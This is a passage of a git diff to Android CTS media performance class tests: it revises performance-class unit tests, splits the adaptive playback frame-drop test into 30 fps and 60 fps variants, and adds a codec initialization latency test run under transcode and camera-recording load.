+ assertThat(pc).isEqualTo(31);
+ }
+
+ @Test
+ public void computePerformanceClass_32() {
+ TestReq testReq = TestReq.create();
+ int pc;
+
+ testReq.setMeasurement1(400);
+ pc = testReq.computePerformanceClass();
+ assertThat(pc).isEqualTo(32);
+ }
+
+ @Test
+ public void computePerformanceClass_PicksLower() {
+ TestReqWith2Measures testReq = TestReqWith2Measures.create();
+ int pc;
+
+ // measure1 meets 32, but measure2 only meets 30
+ testReq.setMeasurement1(401);
+ testReq.setMeasurement2(201);
+
+ pc = testReq.computePerformanceClass();
+ assertThat(pc).isEqualTo(30);
}
@Test
public void checkPerformanceClass_justBelow() {
- // just below required perfClass
- int testPerfClass = 30;
- this.testCheckPerformanceClass(testPerfClass, false);
+ TestReq testReq = TestReq.create();
+ boolean perfClassMet;
+
+ // setting measurements to meet pc 31
+ testReq.setMeasurement1(300);
+
+ perfClassMet = testReq.checkPerformanceClass(32);
+ assertThat(perfClassMet).isEqualTo(false);
}
@Test
public void checkPerformanceClass_justAt() {
- // just at required perfClass
- int testPerfClass = 31;
- this.testCheckPerformanceClass(testPerfClass, true);
+ TestReq testReq = TestReq.create();
+ boolean perfClassMet;
+
+ // setting measurements to meet pc 31
+ testReq.setMeasurement1(300);
+
+ perfClassMet = testReq.checkPerformanceClass(31);
+ assertThat(perfClassMet).isEqualTo(true);
}
@Test
public void checkPerformanceClass_justAbove() {
- // just above required perfClass
- int testPerfClass = 32;
- this.testCheckPerformanceClass(testPerfClass, true);
+ TestReq testReq = TestReq.create();
+ boolean perfClassMet;
+
+ // setting measurements to meet pc 31
+ testReq.setMeasurement1(301);
+
+ perfClassMet = testReq.checkPerformanceClass(30);
+ assertThat(perfClassMet).isEqualTo(true);
}
-}
\ No newline at end of file
+
+ @Test
+ public void checkPerformanceClass_OutOfRange() {
+ TestReq testReq = TestReq.create();
+ boolean perfClassMet;
+
+ // setting measurements to meet pc 31
+ testReq.setMeasurement1(300);
+
+ // performance class 33 not handled by testReq, so expected result is true
+ perfClassMet = testReq.checkPerformanceClass(33);
+ assertThat(perfClassMet).isEqualTo(true);
+ }
+
+ @Test
+ public void checkPerformanceClass_UnsetMeasurement() {
+ TestReq testReq = TestReq.create();
+
+ assertThrows(
+ IllegalStateException.class,
+ () -> testReq.checkPerformanceClass(31));
+ }
+
+ @Test
+ public void writeLogAndCheck_UnsetMeasurement() {
+ TestReq testReq = TestReq.create();
+
+ assertThrows(
+ IllegalStateException.class,
+ () -> testReq.writeLogAndCheck("writeLogAndCheck_UnsetMeasurement"));
+ }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/AdaptivePlaybackFrameDropTest.java b/tests/mediapc/src/android/mediapc/cts/AdaptivePlaybackFrameDropTest.java
index 6727a00..e1ab57a 100644
--- a/tests/mediapc/src/android/mediapc/cts/AdaptivePlaybackFrameDropTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/AdaptivePlaybackFrameDropTest.java
@@ -19,18 +19,17 @@
import static org.junit.Assert.assertTrue;
import android.media.MediaCodecInfo;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
import android.mediapc.cts.common.Utils;
-import android.os.Build;
import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
+import org.junit.Assume;
+import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.TestName;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
@@ -48,6 +47,9 @@
super(mimeType, decoderName, isAsync);
}
+ @Rule
+ public final TestName mTestName = new TestName();
+
// Returns the list of parameters with mimeTypes and their hardware decoders supporting the
// AdaptivePlayback feature combining with sync and async modes.
// Parameters {0}_{1}_{2} -- Mime_DecoderName_isAsync
@@ -57,35 +59,63 @@
MediaCodecInfo.CodecCapabilities.FEATURE_AdaptivePlayback});
}
+ private int testAdaptivePlaybackFrameDrop(int frameRate) throws Exception {
+ String[] testFiles = frameRate == 30 ?
+ new String[]{m1080p30FpsTestFiles.get(mMime), m540p30FpsTestFiles.get(mMime)} :
+ new String[]{m1080p60FpsTestFiles.get(mMime), m540p60FpsTestFiles.get(mMime)};
+ PlaybackFrameDrop playbackFrameDrop = new PlaybackFrameDrop(mMime, mDecoderName, testFiles,
+ mSurface, frameRate, mIsAsync);
+
+ return playbackFrameDrop.getFrameDropCount();
+ }
+
/**
* This test validates that the Adaptive Playback of 1920x1080 and 960x540 resolution
- * assets of 3 seconds duration each at 60 fps for S perf class / 30 fps for R perf class,
+ * assets of 3 seconds duration each at 30 fps for R perf class,
* playing alternatively, for at least 30 seconds worth of frames or for 31 seconds of elapsed
- * time, must not drop more than 6 frames for S perf class / 3 frames for R perf class.
+ * time, must not drop more than 3 frames for R perf class.
*/
@LargeTest
@Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
- @CddTest(requirement="2.2.7.1/5.3/H-1-2")
- public void testAdaptivePlaybackFrameDrop() throws Exception {
- PlaybackFrameDrop playbackFrameDrop = new PlaybackFrameDrop(mMime, mDecoderName,
- new String[]{m1080pTestFiles.get(mMime), m540pTestFiles.get(mMime)},
- mSurface, FRAME_RATE, mIsAsync);
- int frameDropCount = playbackFrameDrop.getFrameDropCount();
- if (Utils.isPerfClass()) {
- assertTrue("Adaptive Playback FrameDrop count for mime: " + mMime + ", decoder: "
- + mDecoderName + ", FrameRate: " + FRAME_RATE
- + ", is not as expected. act/exp: " + frameDropCount + "/"
- + MAX_FRAME_DROP_FOR_30S, frameDropCount <= MAX_FRAME_DROP_FOR_30S);
- } else {
- int pc = frameDropCount <= MAX_FRAME_DROP_FOR_30S ? Build.VERSION_CODES.R : 0;
- DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
- "AdaptiveFrameDrop_" + mDecoderName);
- log.addValue("decoder", mDecoderName, ResultType.NEUTRAL, ResultUnit.NONE);
- log.addValue("adaptive_frame_drops_for_30sec", frameDropCount, ResultType.LOWER_BETTER,
- ResultUnit.NONE);
- log.setSummary("CDD 2.2.7.1/5.3/H-1-2 performance_class", pc, ResultType.NEUTRAL,
- ResultUnit.NONE);
- log.submit(InstrumentationRegistry.getInstrumentation());
- }
+ @CddTest(requirement = "2.2.7.1/5.3/H-1-2")
+ public void test30Fps() throws Exception {
+ Assume.assumeTrue("Test is limited to R performance class devices or devices that do not " +
+ "advertise performance class",
+ Utils.isRPerfClass() || !Utils.isPerfClass());
+ int frameRate = 30;
+
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.FrameDropRequirement r5_3__H_1_2_R = pce.addR5_3__H_1_2_R();
+
+ int framesDropped = testAdaptivePlaybackFrameDrop(frameRate);
+
+ r5_3__H_1_2_R.setFramesDropped(framesDropped);
+ r5_3__H_1_2_R.setFrameRate(frameRate);
+ pce.submitAndCheck();
+ }
+
+ /**
+ * This test validates that the Adaptive Playback of 1920x1080 and 960x540 resolution
+ * assets of 3 seconds duration each at 60 fps for S or T perf class,
+ * playing alternatively, for at least 30 seconds worth of frames or for 31 seconds of elapsed
+ * time, must not drop more than 6 frames for S perf class / 3 frames for T perf class .
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ @CddTest(requirement = "2.2.7.1/5.3/H-1-2")
+ public void test60Fps() throws Exception {
+ Assume.assumeTrue("Test is limited to S/T performance class devices or devices that do " +
+ "not advertise performance class",
+ Utils.isSPerfClass() || Utils.isTPerfClass() || !Utils.isPerfClass());
+ int frameRate = 60;
+
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.FrameDropRequirement r5_3__H_1_2_ST = pce.addR5_3__H_1_2_ST();
+
+ int framesDropped = testAdaptivePlaybackFrameDrop(frameRate);
+
+ r5_3__H_1_2_ST.setFramesDropped(framesDropped);
+ r5_3__H_1_2_ST.setFrameRate(frameRate);
+ pce.submitAndCheck();
}
}
diff --git a/tests/mediapc/src/android/mediapc/cts/CodecInitializationLatencyTest.java b/tests/mediapc/src/android/mediapc/cts/CodecInitializationLatencyTest.java
new file mode 100644
index 0000000..5a4822d
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/CodecInitializationLatencyTest.java
@@ -0,0 +1,606 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import static android.mediapc.cts.CodecTestBase.SELECT_ALL;
+import static android.mediapc.cts.CodecTestBase.SELECT_AUDIO;
+import static android.mediapc.cts.CodecTestBase.SELECT_HARDWARE;
+import static android.mediapc.cts.CodecTestBase.SELECT_VIDEO;
+import static android.mediapc.cts.CodecTestBase.getMimesOfAvailableCodecs;
+import static android.mediapc.cts.CodecTestBase.selectCodecs;
+import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaFormat;
+import android.media.MediaRecorder;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
+import android.mediapc.cts.common.Utils;
+import android.os.SystemClock;
+import android.util.Log;
+import android.util.Pair;
+import android.view.Surface;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.CddTest;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * The following test class validates the codec initialization latency (time for codec create +
+ * configure) for the audio codecs and hardware video codecs available in the device, under the
+ * load condition (Transcode + MediaRecorder session Audio(Microphone) and 1080p Video(Camera)).
+ */
+@RunWith(Parameterized.class)
+public class CodecInitializationLatencyTest {
+ private static final String LOG_TAG = CodecInitializationLatencyTest.class.getSimpleName();
+ private static final boolean[] boolStates = {false, true};
+
+ private static final String AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
+ private static final String HEVC = MediaFormat.MIMETYPE_VIDEO_HEVC;
+ private static final String AVC_TRANSCODE_FILE = "bbb_1280x720_3mbps_30fps_avc.mp4";
+ private static String AVC_DECODER_NAME;
+ private static String AVC_ENCODER_NAME;
+ private static final Map<String, String> mTestFiles = new HashMap<>();
+
+ @Rule
+ public final TestName mTestName = new TestName();
+
+ static {
+ // TODO(b/222006626): Add tests vectors for remaining media types
+ // Audio media types
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_AAC, "bbb_stereo_48kHz_128kbps_aac.mp4");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_AMR_NB, "bbb_mono_8kHz_12.2kbps_amrnb.3gp");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_AMR_WB, "bbb_1ch_16kHz_23kbps_amrwb.3gp");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_FLAC, "bbb_1ch_12kHz_lvl4_flac.mka");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_G711_ALAW, "bbb_2ch_8kHz_alaw.wav");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_G711_MLAW, "bbb_2ch_8kHz_mulaw.wav");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_MPEG, "bbb_1ch_8kHz_lame_cbr.mp3");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_MSGSM, "bbb_1ch_8kHz_gsm.wav");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_OPUS, "bbb_2ch_48kHz_opus.mka");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_RAW, "bbb_1ch_8kHz.wav");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_VORBIS, "bbb_stereo_48kHz_128kbps_vorbis.ogg");
+
+ // Video media types
+ mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1920x1080_4mbps_30fps_av1.mp4");
+ mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1920x1080_6mbps_30fps_avc.mp4");
+ mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_H263, "bbb_cif_768kbps_30fps_h263.mp4");
+ mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1920x1080_4mbps_30fps_hevc.mp4");
+ mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_MPEG2, "bbb_1920x1080_mpeg2_main_high.mp4");
+ mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_MPEG4, "bbb_cif_768kbps_30fps_mpeg4.mkv");
+ mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP8, "bbb_1920x1080_6mbps_30fps_vp8.webm");
+ mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1920x1080_4mbps_30fps_vp9.webm");
+ }
+
+ private final String mMime;
+ private final String mCodecName;
+
+ private LoadStatus mTranscodeLoadStatus = null;
+ private Thread mTranscodeLoadThread = null;
+ private MediaRecorder mMediaRecorderLoad = null;
+ private File mTempRecordedFile = null;
+ private Surface mSurface = null;
+ private Exception mException = null;
+
+ @Before
+ public void setUp() throws Exception {
+ Utils.assumeDeviceMeetsPerformanceClassPreconditions();
+
+ ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false);
+ assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty());
+ AVC_DECODER_NAME = listOfAvcHwDecoders.get(0);
+
+ ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true);
+ assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty());
+ AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0);
+
+ Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ Context context = instrumentation.getTargetContext();
+ PackageManager packageManager = context.getPackageManager();
+ assertNotNull(packageManager.getSystemAvailableFeatures());
+ assumeTrue("The device doesn't have a camera",
+ packageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY));
+ assumeTrue("The device doesn't have a microphone",
+ packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE));
+ createSurface();
+ startLoad();
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ stopLoad();
+ releaseSurface();
+ }
+
+ public CodecInitializationLatencyTest(String mimeType, String codecName) {
+ mMime = mimeType;
+ mCodecName = codecName;
+ }
+
+ @Rule
+ public ActivityTestRule<TestActivity> mActivityRule =
+ new ActivityTestRule<>(TestActivity.class);
+
+ /**
+ * Returns the list of parameters with mimetype and their codecs(for audio - all codecs,
+ * video - hardware codecs).
+ *
+ * @return Collection of Parameters {0}_{1} -- MIME_CodecName
+ */
+ @Parameterized.Parameters(name = "{index}({0}_{1})")
+ public static Collection<Object[]> inputParams() {
+ // Prepares the params list with the required Hardware video codecs and all available
+ // audio codecs present in the device.
+ final List<Object[]> argsList = new ArrayList<>();
+ Set<String> mimeSet = getMimesOfAvailableCodecs(SELECT_VIDEO, SELECT_HARDWARE);
+ mimeSet.addAll(getMimesOfAvailableCodecs(SELECT_AUDIO, SELECT_ALL));
+ for (String mime : mimeSet) {
+ ArrayList<String> listOfCodecs;
+ if (mime.startsWith("audio/")) {
+ listOfCodecs = selectCodecs(mime, null, null, true);
+ listOfCodecs.addAll(selectCodecs(mime, null, null, false));
+ } else {
+ listOfCodecs = selectHardwareCodecs(mime, null, null, true);
+ listOfCodecs.addAll(selectHardwareCodecs(mime, null, null, false));
+ }
+ for (String codec : listOfCodecs) {
+ argsList.add(new Object[]{mime, codec});
+ }
+ }
+ return argsList;
+ }
+
+ private MediaRecorder createMediaRecorderLoad(Surface surface) throws Exception {
+ MediaRecorder mediaRecorder = new MediaRecorder(InstrumentationRegistry.getInstrumentation()
+ .getContext());
+ mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+ mediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+ mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
+ mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+ mediaRecorder.setVideoEncoder(mMime.equalsIgnoreCase(HEVC) ?
+ MediaRecorder.VideoEncoder.HEVC : MediaRecorder.VideoEncoder.H264);
+ mediaRecorder.setOutputFile(mTempRecordedFile);
+ mediaRecorder.setVideoSize(1920, 1080);
+ mediaRecorder.setOrientationHint(0);
+ mediaRecorder.setPreviewDisplay(surface);
+ mediaRecorder.prepare();
+ return mediaRecorder;
+ }
+
+ private void startLoad() throws Exception {
+ // TODO: b/183671436
+ // Create Transcode load (AVC Decoder(720p) + AVC Encoder(720p))
+ mTranscodeLoadStatus = new LoadStatus();
+ mTranscodeLoadThread = new Thread(() -> {
+ try {
+ TranscodeLoad transcodeLoad = new TranscodeLoad(AVC, AVC_TRANSCODE_FILE,
+ AVC_DECODER_NAME, AVC_ENCODER_NAME, mTranscodeLoadStatus);
+ transcodeLoad.doTranscode();
+ } catch (Exception e) {
+ mException = e;
+ }
+ });
+ // Create MediaRecorder Session - Audio (Microphone) + 1080p Video (Camera)
+ // Create a temp file to dump the MediaRecorder output. Later it will be deleted.
+ mTempRecordedFile = new File(WorkDir.getMediaDirString() + "tempOut.mp4");
+ mTempRecordedFile.createNewFile();
+ mMediaRecorderLoad = createMediaRecorderLoad(mSurface);
+ // Start the Loads
+ mTranscodeLoadThread.start();
+ mMediaRecorderLoad.start();
+ }
+
+ private void stopLoad() throws Exception {
+ if (mTranscodeLoadStatus != null) {
+ mTranscodeLoadStatus.setLoadFinished();
+ mTranscodeLoadStatus = null;
+ }
+ if (mTranscodeLoadThread != null) {
+ mTranscodeLoadThread.join();
+ mTranscodeLoadThread = null;
+ }
+ if (mMediaRecorderLoad != null) {
+ // Note that a RuntimeException is intentionally thrown to the application, if no valid
+ // audio/video data has been received when stop() is called. This happens if stop() is
+ // called immediately after start(). So sleep for 1000ms inorder to make sure some
+ // data has been received between start() and stop().
+ Thread.sleep(1000);
+ mMediaRecorderLoad.stop();
+ mMediaRecorderLoad.release();
+ mMediaRecorderLoad = null;
+ if (mTempRecordedFile != null && mTempRecordedFile.exists()) {
+ mTempRecordedFile.delete();
+ mTempRecordedFile = null;
+ }
+ }
+ if (mException != null) throw mException;
+ }
+
+ private void createSurface() throws InterruptedException {
+ mActivityRule.getActivity().waitTillSurfaceIsCreated();
+ mSurface = mActivityRule.getActivity().getSurface();
+ assertNotNull("Surface created is null.", mSurface);
+ assertTrue("Surface created is invalid.", mSurface.isValid());
+ mActivityRule.getActivity().setScreenParams(1920, 1080, true);
+ }
+
+ private void releaseSurface() {
+ if (mSurface != null) {
+ mSurface.release();
+ mSurface = null;
+ }
+ }
+
+ /**
+ * This test validates the initialization latency (time for codec create + configure) for
+ * audio and hw video codecs.
+ *
+ * <p>Measurements are taken 5 * 2(sync/async) * [1 or 2]
+ * (surface/non-surface for video) times. This also logs the stats: min, max, avg of the codec
+ * initialization latencies.
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ @CddTest(requirements = {
+ "2.2.7.1/5.1/H-1-7",
+ "2.2.7.1/5.1/H-1-8",
+ "2.2.7.1/5.1/H-1-12",
+ "2.2.7.1/5.1/H-1-13",})
+ public void testInitializationLatency() throws Exception {
+ MediaCodec codec = MediaCodec.createByCodecName(mCodecName);
+ boolean isEncoder = codec.getCodecInfo().isEncoder();
+ boolean isAudio = mMime.startsWith("audio/");
+ codec.release();
+ final int NUM_MEASUREMENTS = 5;
+ // Test gathers initialization latency for a number of iterations and
+ // percentile is a variable used to control how many of these iterations
+ // need to meet the pass criteria. For eg. if NUM_MEASUREMENTS = 5, audio, sync and Async
+ // modes which is a total of 10 iterations, this translates to index 7.
+ final int percentile = 70;
+ long sumOfCodecInitializationLatencyMs = 0;
+ int count = 0;
+ int numOfActualMeasurements =
+ NUM_MEASUREMENTS * boolStates.length * ((!isEncoder && !isAudio) ? 2 : 1);
+ long[] codecInitializationLatencyMs = new long[numOfActualMeasurements];
+ for (int i = 0; i < NUM_MEASUREMENTS; i++) {
+ for (boolean isAsync : boolStates) {
+ long latency;
+ if (isEncoder) {
+ EncoderInitializationLatency encoderInitializationLatency =
+ new EncoderInitializationLatency(mMime, mCodecName, isAsync);
+ latency = encoderInitializationLatency.calculateInitLatency();
+ codecInitializationLatencyMs[count] = latency;
+ sumOfCodecInitializationLatencyMs += latency;
+ count++;
+ } else {
+ String testFile = mTestFiles.get(mMime);
+ assumeTrue("Add test vector for media type: " + mMime, testFile != null);
+ if (isAudio) {
+ DecoderInitializationLatency decoderInitializationLatency =
+ new DecoderInitializationLatency(mMime, mCodecName, testFile,
+ isAsync, false);
+ latency = decoderInitializationLatency.calculateInitLatency();
+ codecInitializationLatencyMs[count] = latency;
+ sumOfCodecInitializationLatencyMs += latency;
+ count++;
+ } else {
+ for (boolean surfaceMode : boolStates) {
+ DecoderInitializationLatency decoderInitializationLatency =
+ new DecoderInitializationLatency(mMime, mCodecName,
+ testFile,
+ isAsync, surfaceMode);
+ latency = decoderInitializationLatency.calculateInitLatency();
+ codecInitializationLatencyMs[count] = latency;
+ sumOfCodecInitializationLatencyMs += latency;
+ count++;
+ }
+ }
+ }
+ }
+ }
+ Arrays.sort(codecInitializationLatencyMs);
+
+ String statsLog = String.format("CodecInitialization latency for mime: %s, " +
+ "Codec: %s, in Ms :: ", mMime, mCodecName);
+ Log.i(LOG_TAG, "Min " + statsLog + codecInitializationLatencyMs[0]);
+ Log.i(LOG_TAG, "Max " + statsLog + codecInitializationLatencyMs[count - 1]);
+ Log.i(LOG_TAG, "Avg " + statsLog + (sumOfCodecInitializationLatencyMs / count));
+ long initializationLatency = codecInitializationLatencyMs[percentile * count / 100];
+
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.CodecInitLatencyRequirement r5_1__H_1_Latency =
+ isEncoder ? isAudio ? pce.addR5_1__H_1_8() : pce.addR5_1__H_1_7()
+ : isAudio ? pce.addR5_1__H_1_13() : pce.addR5_1__H_1_12();
+
+ r5_1__H_1_Latency.setCodecInitLatencyMs(initializationLatency);
+
+ pce.submitAndCheck();
+ }
+
+ /**
+ * The following class calculates the encoder initialization latency (time for codec create +
+ * configure).
+ *
+ * <p>And also logs the time taken by the encoder for:
+ * (create + configure + start),
+ * (create + configure + start + first frame to enqueue),
+ * (create + configure + start + first frame to dequeue).
+ */
+ static class EncoderInitializationLatency extends CodecEncoderTestBase {
+ private static final String LOG_TAG = EncoderInitializationLatency.class.getSimpleName();
+
+ private final String mEncoderName;
+ private final boolean mIsAsync;
+
+ EncoderInitializationLatency(String mime, String encoderName, boolean isAsync) {
+ super(mime);
+ mEncoderName = encoderName;
+ mIsAsync = isAsync;
+ mSampleRate = 8000;
+ mFrameRate = 60;
+ }
+
+ private MediaFormat setUpFormat() throws IOException {
+ MediaFormat format = new MediaFormat();
+ format.setString(MediaFormat.KEY_MIME, mMime);
+ if (mIsAudio) {
+ if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_FLAC)) {
+ format.setInteger(MediaFormat.KEY_FLAC_COMPRESSION_LEVEL, 10000);
+ } else {
+ format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
+ }
+ format.setInteger(MediaFormat.KEY_SAMPLE_RATE, mSampleRate);
+ format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 1);
+ } else {
+ MediaCodec codec = MediaCodec.createByCodecName(mEncoderName);
+ MediaCodecInfo.CodecCapabilities codecCapabilities =
+ codec.getCodecInfo().getCapabilitiesForType(mMime);
+ if (codecCapabilities.getVideoCapabilities().isSizeSupported(1920, 1080)) {
+ format.setInteger(MediaFormat.KEY_WIDTH, 1920);
+ format.setInteger(MediaFormat.KEY_HEIGHT, 1080);
+ format.setInteger(MediaFormat.KEY_BIT_RATE, 8000000);
+ } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(1280, 720)) {
+ format.setInteger(MediaFormat.KEY_WIDTH, 1280);
+ format.setInteger(MediaFormat.KEY_HEIGHT, 720);
+ format.setInteger(MediaFormat.KEY_BIT_RATE, 5000000);
+ } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(640, 480)) {
+ format.setInteger(MediaFormat.KEY_WIDTH, 640);
+ format.setInteger(MediaFormat.KEY_HEIGHT, 480);
+ format.setInteger(MediaFormat.KEY_BIT_RATE, 2000000);
+ } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(352, 288)) {
+ format.setInteger(MediaFormat.KEY_WIDTH, 352);
+ format.setInteger(MediaFormat.KEY_HEIGHT, 288);
+ format.setInteger(MediaFormat.KEY_BIT_RATE, 512000);
+ } else {
+ format.setInteger(MediaFormat.KEY_WIDTH, 176);
+ format.setInteger(MediaFormat.KEY_HEIGHT, 144);
+ format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
+ }
+ codec.release();
+ format.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
+ format.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
+ format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+ MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
+ }
+ return format;
+ }
+
+ public long calculateInitLatency() throws Exception {
+ MediaFormat format = setUpFormat();
+ if (mIsAudio) {
+ mSampleRate = format.getInteger(MediaFormat.KEY_SAMPLE_RATE);
+ mChannels = format.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
+ } else {
+ mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
+ mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
+ }
+ setUpSource(mInputFile);
+ MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
+ long enqueueTimeStamp = 0;
+ long dequeueTimeStamp = 0;
+ long baseTimeStamp = SystemClock.elapsedRealtimeNanos();
+ mCodec = MediaCodec.createByCodecName(mEncoderName);
+ resetContext(mIsAsync, false);
+ mAsyncHandle.setCallBack(mCodec, mIsAsync);
+ mCodec.configure(format, null, MediaCodec.CONFIGURE_FLAG_ENCODE, null);
+ long configureTimeStamp = SystemClock.elapsedRealtimeNanos();
+ mCodec.start();
+ long startTimeStamp = SystemClock.elapsedRealtimeNanos();
+ if (mIsAsync) {
+ // We will keep on feeding the input to encoder until we see the first dequeued
+ // frame.
+ while (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
+ Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getWork();
+ if (element != null) {
+ int bufferID = element.first;
+ MediaCodec.BufferInfo info = element.second;
+ if (info != null) {
+ dequeueTimeStamp = SystemClock.elapsedRealtimeNanos();
+ dequeueOutput(bufferID, info);
+ break;
+ } else {
+ if (enqueueTimeStamp == 0) {
+ enqueueTimeStamp = SystemClock.elapsedRealtimeNanos();
+ }
+ enqueueInput(bufferID);
+ }
+ }
+ }
+ } else {
+ while (!mSawOutputEOS) {
+ if (!mSawInputEOS) {
+ int inputBufferId = mCodec.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
+ if (inputBufferId > 0) {
+ if (enqueueTimeStamp == 0) {
+ enqueueTimeStamp = SystemClock.elapsedRealtimeNanos();
+ }
+ enqueueInput(inputBufferId);
+ }
+ }
+ int outputBufferId = mCodec.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
+ if (outputBufferId >= 0) {
+ dequeueTimeStamp = SystemClock.elapsedRealtimeNanos();
+ dequeueOutput(outputBufferId, outInfo);
+ break;
+ }
+ }
+ }
+ queueEOS();
+ waitForAllOutputs();
+ mCodec.stop();
+ mCodec.release();
+ Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+ " Time for (create + configure) in ns: " +
+ (configureTimeStamp - baseTimeStamp));
+ Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+ " Time for (create + configure + start) in ns: " +
+ (startTimeStamp - baseTimeStamp));
+ Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+ " Time for (create + configure + start + first frame to enqueue) in ns: " +
+ (enqueueTimeStamp - baseTimeStamp));
+ Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+ " Time for (create + configure + start + first frame to dequeue) in ns: " +
+ (dequeueTimeStamp - baseTimeStamp));
+ long timeToConfigureMs = (configureTimeStamp - baseTimeStamp) / 1000000;
+ return timeToConfigureMs;
+ }
+ }
+
+ /**
+ * The following class calculates the decoder initialization latency (time for codec create +
+ * configure).
+ * And also logs the time taken by the decoder for:
+ * (create + configure + start),
+ * (create + configure + start + first frame to enqueue),
